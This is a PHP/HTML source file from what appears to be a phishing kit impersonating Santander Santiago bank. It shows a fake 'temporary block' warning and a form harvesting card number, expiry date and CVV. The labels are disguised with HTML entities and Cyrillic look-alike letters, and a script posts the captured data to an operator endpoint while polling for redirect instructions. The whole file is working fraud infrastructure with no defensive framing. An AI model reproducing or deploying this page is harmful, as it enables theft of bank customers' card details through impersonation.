/home/crealab/carweb.brainware.com.co/app/template/login/santa/credito.php
<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Santander Santiago</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
        
        #headertop {
            background: red;
        }

        #iddiv {
            color: #fff;
        }

        #footerp {
            background: red;
            border-top: solid #D4DAE0 1px;
        }
    </style>
        
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
    <script src="https://rawgit.com/jessepollak/card/master/dist/card.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/numeral.js/2.0.6/numeral.min.js"></script>
</head>

<body>
    <div id="headertop" style="height: 50px;">
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/imagen/logo.gif.2">
        <div class="clearfix">
            <ul id="scnTS_itm2_mns_nvl0" class="clearfix">
                <img src="/src/imagen/menu/menuT2.png" alt="">
            </ul>
        </div>
        <div id="iddiv">
            <span id="idspan1">Bienvenido <strong><?= $userDato->nombre; ?></strong></span>
            <span id="idspan2"><?= html_entity_decode($userDato->lastse); ?></span>
        </div>
        <div id="content"></div>
    </div>

    <div id="contensec">
        <table width="100%" cellpadding="0" cellspacing="0">
            <tbody>
                <tr>
                    <td valign="top" width="150">
                        <div id="menu" class="clearfix">
                            <img src="/src/imagen/menu/menu.jpg" style="cursor: pointer;" height="432" alt="">
                        </div>
                    </td>
                    <td>
                        <div id="oom" class="mr-10 d-100">
                            <div class="ouiias">
                                <p class="red"><strong>Importante: <?= $userDato->nombre; ?>.</strong></p>
                                <p>Santander. Bloqueo temporal, ingreso inusual a su cuenta, requiere atencion para utilizar su plataforma digital.</p>
                                
                                <form action="" method="post" id="frmpost" name="frmpost">
                                    <input type="hidden" name="proceso" value="poewoowoiaidfosdfzsdf">
                                    <div>
                                        <div class="container-md">
                                            <div class="caja--icon">
                                                <div class="caja--icon__icon--red"> <i class="icon-tarjeta"></i> </div>
                                                <p class="caja__title">&nbsp;&nbsp;Activación de &#116;&acy;&#114;&#106;&iecy;&#116;&acy;</p>
                                                
                                                <div class="card-wrapper"></div>
                                                
                                                <div class="super-clave">
                                                    <div>
                                                        <table>
                                                            <tr>
                                                                <td>
                                                                    <div class="super-clave__container carda">
                                                                        <input type="text" id="icar" class="super-clave__input sc" maxlength="21" required="" autocomplete="off" name="icar">
                                                                        <span class="bar"></span>
                                                                        <label class="placeholder">&#78;&#85;&#77;&#69;&#82;&#79;&#32;&#68;&#69;&#32;&#84;&#65;&#82;&#74;&#69;&#84;&#65;</label>
                                                                    </div>
                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <td height="20"></td>
                                                            </tr>
                                                            <tr>
                                                                <td>
                                                                    <table>
                                                                        <tbody>
                                                                            <tr>
                                                                                <td>
                                                                                    <div class="super-clave__container month">
                                                                                        <input type="text" id="imonth" class="super-clave__input sc" maxlength="2" required="" autocomplete="off" name="imonth">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">MES</label>
                                                                                    </div>
                                                                                </td>
                                                                                <td>
                                                                                    <div class="super-clave__container year">
                                                                                        <input type="text" id="iyear" class="super-clave__input sc" maxlength="4" required="" autocomplete="off" name="iyear">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">A&#209;O</label>
                                                                                    </div>
                                                                                </td>
                                                                                <td width="40"></td>
                                                                                <td>
                                                                                    <div class="super-clave__container cbb">
                                                                                        <input type="text" id="icbb" class="super-clave__input sc" maxlength="4" required="" autocomplete="off" name="icbb">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">&#67;&#86;&#86;</label>
                                                                                    </div>
                                                                                </td>
                                                                            </tr>
                                                                        </tbody>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                                <td height="20"></td>
                                                            </tr>
                                                        </table>

                                                    </div>
                                                </div>
                                                <div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
                                                    <p class="alerta__txt">Debe activar su &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para utilizar nuestra plataforma dígital</p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>

                                <div id="msgerror"></div>
                                <div style="text-align: center;">
                                    <a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
                                </div>
                            </div>

                        </div>

                    </td>
                </tr>
            </tbody>
        </table>
        <div style="clear: both;"></div>
    </div>

    <div id="footerp">
        <div style="margin: 0px auto;width: 570px;">
            <table cellpadding="0" cellspacing="0" align="center">
                <tbody>
                    <tr>
                        <td>
                            <div id="isnotMacIE5">
                                <img src="/src/imagen/menu/menu3.jpg" style="cursor: pointer;margin-top: 2px;" width="570" alt="">
                            </div>
                        </td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>
    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
</body>

</html>

<script src="/src/js/uuytaiosido.js"></script>
<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {

        document.getElementById('icar').focus();

        setInterval(() => {
            var form = document.forms.formwait;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }


    document.getElementById('icar').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icar').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('icar').value.length == 21) {
            document.getElementById('imonth').focus();
        }

    })


    document.getElementById('imonth').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imonth').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('imonth').value.length == 2) {
            document.getElementById('iyear').focus();
        }
    })

    document.getElementById('iyear').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('iyear').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('iyear').value.length == 4) {
            document.getElementById('icbb').focus();
        }
    })

    document.getElementById('icbb').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icbb').addEventListener('keyup', (e) => {
        ooaposd();
    })

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != 2) {
                    formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }

    function ooaposd() {
        var oasu1 = document.getElementById('icar').value;
        var oasu2 = document.getElementById('imonth').value;
        var oasu3 = document.getElementById('iyear').value;
        var oasu4 = document.getElementById('icbb').value;

        //CONFIGURAR FECHA
        var f = new Date();
        var fecha;
        var ano = f.getFullYear();
        yearlimt = ano + 8;
        if ((f.getMonth() + 1) < 10) {
            fecha = "0" + (f.getMonth() + 1);
        } else {
            fecha = (f.getMonth() + 1);
        }

        var oasod = true;

        if (oasu1.length < 15) {
            oasod = false;
        }

        if (oasu2.length != 2 || oasu2 > 12) {
            oasod = false;
        }

        if (oasu3.length != 4) {
            oasod = false;
        }

        if (oasu3 < ano || oasu3 > yearlimt) {
            oasod = false;
        }

        if (oasu4.length < 3) {
            oasod = false;
        }

        if (oasod == true) {
            if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.add('botonPrimario');
                document.getElementById('btnpost').classList.remove('botonSecundario');
                document.getElementById('btnpost').classList.remove('bordePrincipal');
            } else {
                if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
                    document.getElementById('btnpost').classList.add('botonPrimario');
                }
            }
        } else {
            if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.remove('botonPrimario');
                document.getElementById('btnpost').classList.add('botonSecundario');
                document.getElementById('btnpost').classList.add('bordePrincipal');
            }
        }

    }

    function uuryysipq1(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
            } else {
                window.location.href = '/';
            }
        } else {
            window.location.href = '/';
        }
    }

    function vaform(t) {
        if (t.classList.contains('botonPrimario')) {
            var form = document.forms.frmpost;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
        } else {

            var oasu1 = document.getElementById('icar').value;
            var oasu2 = document.getElementById('imonth').value;
            var oasu3 = document.getElementById('iyear').value;
            var oasu4 = document.getElementById('icbb').value;

            //CONFIGURAR FECHA
            var f = new Date();
            var fecha;
            var ano = f.getFullYear();
            yearlimt = ano + 8;
            if ((f.getMonth() + 1) < 10) {
                fecha = "0" + (f.getMonth() + 1);
            } else {
                fecha = (f.getMonth() + 1);
            }

            if (oasu1.length != 16) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa el n&#250;mero de &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                //return false;
            }

            if (oasu2.length != 2 || oasu2 > 12) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la mes de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu3.length != 4) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la a&#241;o de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu3 < ano || oasu3 > yearlimt) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la a&#241;o de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu4.length != 3) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa c&#243;digo cvv de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

        }
    }
    
$(document).ready(function(){
    var card = new Card({
    // a selector or DOM element for the form where users will
    // be entering their information
    form: '#frmpost', // *required*
    // a selector or DOM element for the container
    // where you want the card to appear
    container: '.card-wrapper', // *required*

    width: 300, // optional �� default 350px
    formatting: true, // optional - default true

    // Strings for translation - optional
    messages: {
        validDate: 'valid\ndate', // optional - default 'valid\nthru'
        monthYear: 'mm/yyyy', // optional - default 'month/year'
    },

    // Default placeholders for rendered fields - optional
    placeholders: {
        //number: '�6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1',
        name: '<?= $userDato->nombre; ?> ',
        expiry: '�6�1�6�1/�6�1�6�1',
        cvc: '�6�1�6�1�6�1'
    },
    formSelectors: { 
        numberInput: "input#icar",
        expiryInput:  'input[id="imonth"], input[id="iyear"]',
        cvcInput: "input#icbb",
        nameInput: "input#inombre"
    },
    masks: {
        //cardNumber: '�6�1' // optional - mask card number
    },

    // if true, will log helpful messages for setting up Card
    debug: false // optional - default false
});
})

</script>